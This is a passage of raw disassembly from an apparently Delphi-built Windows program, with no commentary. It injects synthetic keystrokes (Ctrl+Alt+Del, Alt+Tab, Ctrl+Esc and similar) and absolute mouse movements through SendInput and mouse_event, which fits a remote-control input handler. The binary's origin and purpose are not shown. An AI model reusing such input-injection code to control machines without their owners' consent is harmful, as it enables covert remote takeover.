mov eax, dword [0x541da8]
mov eax, dword [eax]
push eax
mov eax, dword [0x5414e0]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x12
mov eax, dword [0x541da8]
mov eax, dword [eax]
push eax
mov eax, dword [0x5414e0]
mov eax, dword [eax]
call eax
jmp case.0x4e0bea.10
push 0x12
mov eax, dword [0x541da8]
mov eax, dword [eax]
push eax
mov eax, dword [0x541da4]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x1b
mov eax, dword [0x541da8]
mov eax, dword [eax]
push eax
mov eax, dword [0x541da4]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x1b
mov eax, dword [0x541da8]
mov eax, dword [eax]
push eax
mov eax, dword [0x5414e0]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x12
mov eax, dword [0x541da8]
mov eax, dword [eax]
push eax
mov eax, dword [0x5414e0]
mov eax, dword [eax]
call eax
jmp case.0x4e0bea.10
push 0x11
mov eax, dword [0x541da8]
mov eax, dword [eax]
push eax
mov eax, dword [0x541da4]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x1b
mov eax, dword [0x541da8]
mov eax, dword [eax]
push eax
mov eax, dword [0x541da4]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x1b
mov eax, dword [0x541da8]
mov eax, dword [eax]
push eax
mov eax, dword [0x5414e0]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x11
mov eax, dword [0x541da8]
mov eax, dword [eax]
push eax
mov eax, dword [0x5414e0]
mov eax, dword [eax]
call eax
jmp case.0x4e0bea.10
push 0x11
mov eax, dword [0x541da8]
mov eax, dword [eax]
push eax
mov eax, dword [0x541da4]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x10
mov eax, dword [0x541da8]
mov eax, dword [eax]
push eax
mov eax, dword [0x541da4]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x10
mov eax, dword [0x541da8]
mov eax, dword [eax]
push eax
mov eax, dword [0x5414e0]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x11
mov eax, dword [0x541da8]
mov eax, dword [eax]
push eax
mov eax, dword [0x5414e0]
mov eax, dword [eax]
call eax
jmp case.0x4e0bea.10
push 0x11
mov eax, dword [0x541da8]
mov eax, dword [eax]
push eax
mov eax, dword [0x541da4]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x20
mov eax, dword [0x541da8]
mov eax, dword [eax]
push eax
mov eax, dword [0x541da4]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x20
mov eax, dword [0x541da8]
mov eax, dword [eax]
push eax
mov eax, dword [0x5414e0]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x11
mov eax, dword [0x541da8]
mov eax, dword [eax]
push eax
mov eax, dword [0x5414e0]
mov eax, dword [eax]
call eax
jmp case.0x4e0bea.10
push 0x11
mov eax, dword [0x541da8]
mov eax, dword [eax]
push eax
mov eax, dword [0x541da4]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x12
mov eax, dword [0x541da8]
mov eax, dword [eax]
push eax
mov eax, dword [0x541da4]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x2e
mov eax, dword [0x541da8]
mov eax, dword [eax]
push eax
mov eax, dword [0x541da4]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x2e
mov eax, dword [0x541da8]
mov eax, dword [eax]
push eax
mov eax, dword [0x5414e0]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x12
mov eax, dword [0x541da8]
mov eax, dword [eax]
push eax
mov eax, dword [0x5414e0]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x11
mov eax, dword [0x541da8]
mov eax, dword [eax]
push eax
mov eax, dword [0x5414e0]
mov eax, dword [eax]
call eax
jmp case.0x4e0bea.10
mov eax, dword [0x5417b8]
cmp dword [eax], 0
jle 0x4e283d
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
cmp eax, 6
ja case.0x4e0bea.10
jmp dword [eax*4 + 0x4e246b]
mov dword [ebp - 0x50], 0x12
mov cx, word [ebp - 0x50]
xor edx, edx
xor eax, eax
call fcn.004d55c8
push eax
mov eax, dword [0x541424]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x50], 9
mov cx, word [ebp - 0x50]
xor edx, edx
xor eax, eax
call fcn.004d55c8
push eax
mov eax, dword [0x541424]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x50], 9
mov cx, word [ebp - 0x50]
xor edx, edx
xor eax, eax
call fcn.004d55c8
push eax
mov eax, dword [0x54169c]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x50], 0x12
mov cx, word [ebp - 0x50]
xor edx, edx
xor eax, eax
call fcn.004d55c8
push eax
mov eax, dword [0x54169c]
mov eax, dword [eax]
call eax
jmp case.0x4e0bea.10
mov dword [ebp - 0x50], 0x12
mov cx, word [ebp - 0x50]
xor edx, edx
xor eax, eax
call fcn.004d55c8
push eax
mov eax, dword [0x541424]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x50], 0x1b
mov cx, word [ebp - 0x50]
xor edx, edx
xor eax, eax
call fcn.004d55c8
push eax
mov eax, dword [0x541424]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x50], 0x1b
mov cx, word [ebp - 0x50]
xor edx, edx
xor eax, eax
call fcn.004d55c8
push eax
mov eax, dword [0x54169c]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x50], 0x12
mov cx, word [ebp - 0x50]
xor edx, edx
xor eax, eax
call fcn.004d55c8
push eax
mov eax, dword [0x54169c]
mov eax, dword [eax]
call eax
jmp case.0x4e0bea.10
mov dword [ebp - 0x50], 0x11
mov cx, word [ebp - 0x50]
xor edx, edx
xor eax, eax
call fcn.004d55c8
push eax
mov eax, dword [0x541424]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x50], 0x1b
mov cx, word [ebp - 0x50]
xor edx, edx
xor eax, eax
call fcn.004d55c8
push eax
mov eax, dword [0x541424]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x50], 0x1b
mov cx, word [ebp - 0x50]
xor edx, edx
xor eax, eax
call fcn.004d55c8
push eax
mov eax, dword [0x54169c]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x50], 0x11
mov cx, word [ebp - 0x50]
xor edx, edx
xor eax, eax
call fcn.004d55c8
push eax
mov eax, dword [0x54169c]
mov eax, dword [eax]
call eax
jmp case.0x4e0bea.10
mov dword [ebp - 0x50], 0x11
mov cx, word [ebp - 0x50]
xor edx, edx
xor eax, eax
call fcn.004d55c8
push eax
mov eax, dword [0x541424]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x50], 0x10
mov cx, word [ebp - 0x50]
xor edx, edx
xor eax, eax
call fcn.004d55c8
push eax
mov eax, dword [0x541424]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x50], 0x10
mov cx, word [ebp - 0x50]
xor edx, edx
xor eax, eax
call fcn.004d55c8
push eax
mov eax, dword [0x54169c]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x50], 0x11
mov cx, word [ebp - 0x50]
xor edx, edx
xor eax, eax
call fcn.004d55c8
push eax
mov eax, dword [0x54169c]
mov eax, dword [eax]
call eax
jmp case.0x4e0bea.10
mov dword [ebp - 0x50], 0x11
mov cx, word [ebp - 0x50]
xor edx, edx
xor eax, eax
call fcn.004d55c8
push eax
mov eax, dword [0x541424]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x50], 0x20
mov cx, word [ebp - 0x50]
xor edx, edx
xor eax, eax
call fcn.004d55c8
push eax
mov eax, dword [0x541424]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x50], 0x20
mov cx, word [ebp - 0x50]
xor edx, edx
xor eax, eax
call fcn.004d55c8
push eax
mov eax, dword [0x54169c]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x50], 0x11
mov cx, word [ebp - 0x50]
xor edx, edx
xor eax, eax
call fcn.004d55c8
push eax
mov eax, dword [0x54169c]
mov eax, dword [eax]
call eax
jmp case.0x4e0bea.10
mov dword [ebp - 0x50], 0x11
mov cx, word [ebp - 0x50]
xor edx, edx
xor eax, eax
call fcn.004d55c8
push eax
mov eax, dword [0x541424]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x50], 0x12
mov cx, word [ebp - 0x50]
xor edx, edx
xor eax, eax
call fcn.004d55c8
push eax
mov eax, dword [0x541424]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x50], 0x2e
mov cx, word [ebp - 0x50]
xor edx, edx
xor eax, eax
call fcn.004d55c8
push eax
mov eax, dword [0x541424]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x50], 0x2e
mov cx, word [ebp - 0x50]
xor edx, edx
xor eax, eax
call fcn.004d55c8
push eax
mov eax, dword [0x54169c]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x50], 0x12
mov cx, word [ebp - 0x50]
xor edx, edx
xor eax, eax
call fcn.004d55c8
push eax
mov eax, dword [0x54169c]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x50], 0x11
mov cx, word [ebp - 0x50]
xor edx, edx
xor eax, eax
call fcn.004d55c8
push eax
mov eax, dword [0x54169c]
mov eax, dword [eax]
call eax
jmp case.0x4e0bea.10
mov dword [ebp - 0x7bc], 1
call sub.kernel32.dll_GetTickCount
mov dword [ebp - 0x7b0], eax
call sub.user32.dll_GetMessageExtraInfo
mov dword [ebp - 0x7ac], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
cmp eax, 6
ja case.0x4e0bea.10
jmp dword [eax*4 + 0x4e2873]
mov word [ebp - 0x7b8], 0x12
xor eax, eax
mov dword [ebp - 0x7b4], eax
push 0x1c
lea eax, [ebp - 0x7bc]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b0]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7b8], 9
xor eax, eax
mov dword [ebp - 0x7b4], eax
push 0x1c
lea eax, [ebp - 0x7bc]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b0]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7b8], 9
mov dword [ebp - 0x7b4], 2
push 0x1c
lea eax, [ebp - 0x7bc]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b0]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7b8], 0x12
mov dword [ebp - 0x7b4], 2
push 0x1c
lea eax, [ebp - 0x7bc]
push eax
push 1
call sub.user32.dll_SendInput
jmp case.0x4e0bea.10
mov word [ebp - 0x7b8], 0x12
xor eax, eax
mov dword [ebp - 0x7b4], eax
push 0x1c
lea eax, [ebp - 0x7bc]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b0]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7b8], 0x1b
xor eax, eax
mov dword [ebp - 0x7b4], eax
push 0x1c
lea eax, [ebp - 0x7bc]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b0]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7b8], 0x1b
mov dword [ebp - 0x7b4], 2
push 0x1c
lea eax, [ebp - 0x7bc]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b0]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7b8], 0x12
mov dword [ebp - 0x7b4], 2
push 0x1c
lea eax, [ebp - 0x7bc]
push eax
push 1
call sub.user32.dll_SendInput
jmp case.0x4e0bea.10
mov word [ebp - 0x7b8], 0x11
xor eax, eax
mov dword [ebp - 0x7b4], eax
push 0x1c
lea eax, [ebp - 0x7bc]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b0]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7b8], 0x1b
xor eax, eax
mov dword [ebp - 0x7b4], eax
push 0x1c
lea eax, [ebp - 0x7bc]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b0]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7b8], 0x1b
mov dword [ebp - 0x7b4], 2
push 0x1c
lea eax, [ebp - 0x7bc]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b0]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7b8], 0x11
mov dword [ebp - 0x7b4], 2
push 0x1c
lea eax, [ebp - 0x7bc]
push eax
push 1
call sub.user32.dll_SendInput
jmp case.0x4e0bea.10
mov word [ebp - 0x7b8], 0x11
xor eax, eax
mov dword [ebp - 0x7b4], eax
push 0x1c
lea eax, [ebp - 0x7bc]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b0]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7b8], 0x10
xor eax, eax
mov dword [ebp - 0x7b4], eax
push 0x1c
lea eax, [ebp - 0x7bc]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b0]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7b8], 0x10
mov dword [ebp - 0x7b4], 2
push 0x1c
lea eax, [ebp - 0x7bc]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b0]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7b8], 0x11
mov dword [ebp - 0x7b4], 2
push 0x1c
lea eax, [ebp - 0x7bc]
push eax
push 1
call sub.user32.dll_SendInput
jmp case.0x4e0bea.10
mov word [ebp - 0x7b8], 0x11
xor eax, eax
mov dword [ebp - 0x7b4], eax
push 0x1c
lea eax, [ebp - 0x7bc]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b0]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7b8], 0x20
xor eax, eax
mov dword [ebp - 0x7b4], eax
push 0x1c
lea eax, [ebp - 0x7bc]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b0]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7b8], 0x20
mov dword [ebp - 0x7b4], 2
push 0x1c
lea eax, [ebp - 0x7bc]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b0]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7b8], 0x11
mov dword [ebp - 0x7b4], 2
push 0x1c
lea eax, [ebp - 0x7bc]
push eax
push 1
call sub.user32.dll_SendInput
jmp case.0x4e0bea.10
mov word [ebp - 0x7b8], 0x11
xor eax, eax
mov dword [ebp - 0x7b4], eax
push 0x1c
lea eax, [ebp - 0x7bc]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b0]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7b8], 0x12
xor eax, eax
mov dword [ebp - 0x7b4], eax
push 0x1c
lea eax, [ebp - 0x7bc]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b0]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7b8], 0x2e
xor eax, eax
mov dword [ebp - 0x7b4], eax
push 0x1c
lea eax, [ebp - 0x7bc]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b0]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7b8], 0x2e
mov dword [ebp - 0x7b4], 2
push 0x1c
lea eax, [ebp - 0x7bc]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b0]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7b8], 0x12
mov dword [ebp - 0x7b4], 2
push 0x1c
lea eax, [ebp - 0x7bc]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b0]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7b8], 0x11
mov dword [ebp - 0x7b4], 2
push 0x1c
lea eax, [ebp - 0x7bc]
push eax
push 1
call sub.user32.dll_SendInput
jmp case.0x4e0bea.10
cmp dword [0x549430], 0x200000
jg case.0x4e0bea.10
cmp byte [0x5404c0], 1
jb case.0x4e0bea.10
cmp dword [0x54a6d8], 0xb438
ja case.0x4e0bea.10
mov eax, dword [0x540338]
mov dword [0x540348], eax
mov eax, dword [0x54033c]
mov dword [0x54034c], eax
mov ebx, 0x8000
mov eax, dword [ebp - 0x2c]
add eax, 0x20
mov dword [0x54a8d8], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
cmp eax, 0x200
jg 0x4e2dd9
je 0x4e2e34
cmp eax, 0xa4
jg 0x4e2dc1
je 0x4e2e52
sub eax, 0x84
je 0x4e2e39
sub eax, 0x1c
je 0x4e2e5c
dec eax
je 0x4e2e3e
dec eax
je 0x4e2e43
jmp case.0x4e2de7.515
sub eax, 0xa5
je 0x4e2e57
sub eax, 2
je 0x4e2e48
dec eax
je 0x4e2e4d
jmp case.0x4e2de7.515
add eax, 0xfffffdff
cmp eax, 9
ja case.0x4e2de7.515
jmp dword [eax*4 + 0x4e2dee]
or ebx, 2
jmp case.0x4e2de7.515
or ebx, 4
jmp case.0x4e2de7.515
or ebx, 0x20
jmp case.0x4e2de7.515
or ebx, 0x40
jmp case.0x4e2de7.515
or ebx, 8
jmp case.0x4e2de7.515
or ebx, 0x10
jmp case.0x4e2de7.515
or ebx, 1
jmp case.0x4e2de7.515
or ebx, 1
jmp case.0x4e2de7.515
or ebx, 2
jmp case.0x4e2de7.515
or ebx, 4
jmp case.0x4e2de7.515
or ebx, 0x20
jmp case.0x4e2de7.515
or ebx, 0x40
jmp case.0x4e2de7.515
or ebx, 8
jmp case.0x4e2de7.515
or ebx, 0x10
jmp case.0x4e2de7.515
or ebx, 1
jmp case.0x4e2de7.515
or ebx, 0x800
mov eax, dword [0x54a8d8]
mov edx, dword [0x54a870]
add dword [eax], edx
mov eax, dword [0x54a8d8]
mov edx, dword [0x54a874]
add dword [eax + 4], edx
cmp dword [0x54a5bc], 0
jle 0x4e2f3c
mov eax, dword [0x54a5bc]
add eax, eax
inc eax
call fcn.004030b8
sub eax, dword [0x54a5bc]
mov edx, dword [0x54a8d8]
add dword [edx], eax
mov eax, dword [0x54a5bc]
add eax, eax
inc eax
call fcn.004030b8
sub eax, dword [0x54a5bc]
mov edx, dword [0x54a8d8]
add dword [edx + 4], eax
mov eax, dword [0x54a8d8]
mov eax, dword [eax]
cmp eax, dword [0x54a870]
jge 0x4e2ee2
mov eax, dword [0x54a8d8]
mov edx, dword [0x54a870]
mov dword [eax], edx
mov eax, dword [0x54a8d8]
mov eax, dword [eax]
cmp eax, dword [0x54a878]
jl 0x4e2eff
mov eax, dword [0x54a878]
dec eax
mov edx, dword [0x54a8d8]
mov dword [edx], eax
mov eax, dword [0x54a8d8]
mov eax, dword [eax + 4]
cmp eax, dword [0x54a874]
jge 0x4e2f1d
mov eax, dword [0x54a8d8]
mov edx, dword [0x54a874]
mov dword [eax + 4], edx
mov eax, dword [0x54a8d8]
mov eax, dword [eax + 4]
cmp eax, dword [0x54a87c]
jl 0x4e2f3c
mov eax, dword [0x54a87c]
dec eax
mov edx, dword [0x54a8d8]
mov dword [edx + 4], eax
mov eax, dword [0x54a8d8]
mov eax, dword [eax]
mov edx, eax
shl eax, 0x10
sub eax, edx
mov edx, dword [0x540ac4]
sub edx, dword [0x540abc]
dec edx
mov ecx, edx
cdq
idiv ecx
mov esi, eax
mov eax, dword [0x54a8d8]
mov eax, dword [eax + 4]
mov edx, eax
shl eax, 0x10
sub eax, edx
mov edx, dword [0x540ac8]
sub edx, dword [0x540ac0]
dec edx
mov ecx, edx
cdq
idiv ecx
mov edi, eax
cmp dword [0x54a5ac], 0
je 0x4e2f9b
mov eax, esi
imul dword [0x54a5a8]
cdq
idiv dword [0x54a5ac]
mov esi, eax
cmp dword [0x54a5b4], 0
je 0x4e2fb5
mov eax, edi
imul dword [0x54a5b0]
cdq
idiv dword [0x54a5b4]
mov edi, eax
mov eax, dword [ebp - 0x2c]
cmp dword [eax + 0x10], 0x20a
jne 0x4e2fce
mov eax, dword [0x54a8d8]
mov eax, dword [eax + 0x10]
mov dword [ebp - 0x4c], eax
jmp 0x4e2fd3
xor eax, eax
mov dword [ebp - 0x4c], eax
mov eax, dword [0x5416bc]
cmp dword [eax], 0
jne 0x4e2fe2
call fcn.004d3e74
mov eax, dword [0x5415b4]
cmp dword [eax], 0
jne 0x4e2ff1
call fcn.004d5194
mov eax, dword [0x5417b8]
cmp dword [eax], 0
jne 0x4e3000
call fcn.004d58f0
mov eax, dword [0x5416bc]
cmp dword [eax], 0
jle 0x4e313c
mov eax, dword [ebp - 0x2c]
cmp dword [eax + 0x10], 0x20a
je 0x4e3034
mov eax, dword [0x54a8d8]
mov eax, dword [eax + 4]
push eax
mov eax, dword [0x54a8d8]
mov eax, dword [eax]
push eax
mov eax, dword [0x541578]
mov eax, dword [eax]
call eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
cmp eax, 0x201
jg 0x4e3078
je case.0x4e3051.161
add eax, 0xffffff5f
cmp eax, 7
ja case.0x4e0bea.10
jmp dword [eax*4 + 0x4e3058]
add eax, 0xfffffdfe
cmp eax, 8
ja case.0x4e0bea.10
jmp dword [eax*4 + 0x4e308d]
push 1
mov eax, dword [0x541ad4]
mov eax, dword [eax]
call eax
jmp case.0x4e0bea.10
push 2
mov eax, dword [0x541ad4]
mov eax, dword [eax]
call eax
jmp case.0x4e0bea.10
push 0x10
mov eax, dword [0x541ad4]
mov eax, dword [eax]
call eax
jmp case.0x4e0bea.10
push 0x20
mov eax, dword [0x541ad4]
mov eax, dword [eax]
call eax
jmp case.0x4e0bea.10
push 4
mov eax, dword [0x541ad4]
mov eax, dword [eax]
call eax
jmp case.0x4e0bea.10
push 8
mov eax, dword [0x541ad4]
mov eax, dword [eax]
call eax
jmp case.0x4e0bea.10
mov eax, dword [0x54a8d8]
cmp dword [eax + 0x10], 0
jle 0x4e312c
push 1
mov eax, dword [0x541698]
mov eax, dword [eax]
call eax
jmp case.0x4e0bea.10
push 2
mov eax, dword [0x541698]
mov eax, dword [eax]
call eax
jmp case.0x4e0bea.10
mov eax, dword [0x5415b4]
cmp dword [eax], 0
jle 0x4e32ad
mov eax, dword [ebp - 0x2c]
cmp dword [eax + 0x10], 0x20a
je 0x4e31db
mov eax, dword [0x5404ac]
mov edx, dword [eax]
call dword [edx + 0x2c]
cmp eax, dword [0x54a948]
jne 0x4e317e
mov eax, dword [0x5404ac]
mov edx, dword [eax]
call dword [edx + 0x20]
cmp eax, dword [0x54a94c]
je 0x4e31b9
mov eax, dword [0x5404ac]
mov edx, dword [eax]
call dword [edx + 0x2c]
mov dword [0x54a948], eax
mov eax, dword [0x5404ac]
mov edx, dword [eax]
call dword [edx + 0x20]
mov dword [0x54a94c], eax
mov eax, dword [0x54a94c]
push eax
mov eax, dword [0x54a948]
push eax
mov eax, dword [0x541da8]
mov eax, dword [eax]
push eax
mov eax, dword [0x5418e4]
mov eax, dword [eax]
call eax
mov eax, dword [0x54a8d8]
mov eax, dword [eax + 4]
push eax
mov eax, dword [0x54a8d8]
mov eax, dword [eax]
push eax
mov eax, dword [0x541da8]
mov eax, dword [eax]
push eax
mov eax, dword [0x54193c]
mov eax, dword [eax]
call eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
cmp eax, 0x201
jg 0x4e3201
je 0x4e321a
sub eax, 0xa1
je 0x4e321a
dec eax
je 0x4e3230
sub eax, 2
je 0x4e3246
dec eax
je 0x4e325c
jmp case.0x4e0bea.10
sub eax, 0x202
je 0x4e3230
sub eax, 2
je 0x4e3246
dec eax
je 0x4e325c
sub eax, 5
je 0x4e3272
jmp case.0x4e0bea.10
mov eax, dword [0x541da8]
mov eax, dword [eax]
push eax
mov eax, dword [0x541a44]
mov eax, dword [eax]
call eax
jmp case.0x4e0bea.10
mov eax, dword [0x541da8]
mov eax, dword [eax]
push eax
mov eax, dword [0x541ca8]
mov eax, dword [eax]
call eax
jmp case.0x4e0bea.10
mov eax, dword [0x541da8]
mov eax, dword [eax]
push eax
mov eax, dword [0x5414d8]
mov eax, dword [eax]
call eax
jmp case.0x4e0bea.10
mov eax, dword [0x541da8]
mov eax, dword [eax]
push eax
mov eax, dword [0x541784]
mov eax, dword [eax]
call eax
jmp case.0x4e0bea.10
mov eax, dword [0x54a8d8]
cmp dword [eax + 0x10], 0
jle 0x4e3295
push 1
mov eax, dword [0x541da8]
mov eax, dword [eax]
push eax
mov eax, dword [0x541d94]
mov eax, dword [eax]
call eax
jmp case.0x4e0bea.10
push 0xffffffffffffffff
mov eax, dword [0x541da8]
mov eax, dword [eax]
push eax
mov eax, dword [0x541d94]
mov eax, dword [eax]
call eax
jmp case.0x4e0bea.10
mov eax, dword [0x5417b8]
cmp dword [eax], 0
jle 0x4e3383
mov eax, dword [ebp - 0x2c]
cmp dword [eax + 0x10], 0x20a
je 0x4e32e1
mov eax, dword [0x54a8d8]
mov eax, dword [eax + 4]
push eax
mov eax, dword [0x54a8d8]
mov eax, dword [eax]
push eax
mov eax, dword [0x541ad0]
mov eax, dword [eax]
call eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
cmp eax, 0x201
jg 0x4e3307
je 0x4e3320
sub eax, 0xa1
je 0x4e3320
dec eax
je 0x4e332e
sub eax, 2
je 0x4e333c
dec eax
je 0x4e334a
jmp case.0x4e0bea.10
sub eax, 0x202
je 0x4e332e
sub eax, 2
je 0x4e333c
dec eax
je 0x4e334a
sub eax, 5
je 0x4e3358
jmp case.0x4e0bea.10
mov eax, dword [0x541bf4]
mov eax, dword [eax]
call eax
jmp case.0x4e0bea.10
mov eax, dword [0x541e74]
mov eax, dword [eax]
call eax
jmp case.0x4e0bea.10
mov eax, dword [0x541694]
mov eax, dword [eax]
call eax
jmp case.0x4e0bea.10
mov eax, dword [0x541994]
mov eax, dword [eax]
call eax
jmp case.0x4e0bea.10
mov eax, dword [0x54a8d8]
cmp dword [eax + 0x10], 0
jle 0x4e3373
push 1
mov eax, dword [0x541410]
mov eax, dword [eax]
call eax
jmp case.0x4e0bea.10
push 0xffffffffffffffff
mov eax, dword [0x541410]
mov eax, dword [eax]
call eax
jmp case.0x4e0bea.10
mov eax, dword [ebp - 0x2c]
cmp dword [eax + 0x10], 0x200
je 0x4e33a5
push 0
push 0
lea eax, [edi + 1]
push eax
lea eax, [esi + 1]
push eax
push 0x8001
call sub.user32.dll_mouse_event
mov eax, dword [ebp - 0x2c]
cmp dword [eax + 0x10], 0x20a
jne 0x4e33ca
push 0
mov eax, dword [ebp - 0x4c]
push eax
inc edi
push edi
inc esi
push esi
push 0x8800
call sub.user32.dll_mouse_event
jmp case.0x4e0bea.10
xor eax, eax
mov dword [ebp - 0x7bc], eax
mov dword [ebp - 0x7ac], ebx
inc esi
mov dword [ebp - 0x7b8], esi
inc edi
mov dword [ebp - 0x7b4], edi
xor eax, eax
mov dword [ebp - 0x7b0], eax
call sub.kernel32.dll_GetTickCount
mov dword [ebp - 0x7a8], eax
call sub.user32.dll_GetMessageExtraInfo
mov dword [ebp - 0x7a4], eax
push 0x1c
lea eax, [ebp - 0x7bc]
push eax
push 1
call sub.user32.dll_SendInput
jmp case.0x4e0bea.10
cmp dword [0x5403a8], 0x52503ff
jb case.0x4e0bea.10
mov dl, 1
mov eax, dword [0x414c40]
call fcn.0040377c
mov dword [ebp - 0x24], eax
lea edx, [ebp - 0x928]
mov eax, dword [ebp - 0x2c]
add eax, 0x20
call fcn.00409fe8
mov edx, dword [ebp - 0x928]
mov eax, dword [ebp - 0x24]
mov ecx, dword [eax]
call dword [ecx + 0x2c]
lea ecx, [ebp - 0x92c]
xor edx, edx
mov eax, dword [ebp - 0x24]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x92c]
call fcn.00409490
mov dword [0x54a644], eax
mov eax, dword [ebp - 0x24]
call fcn.004037ac
mov eax, dword [0x54a644]
add eax, 0x5b
cmp eax, dword [0x54a6d8]
jae 0x4e34bd
push 0
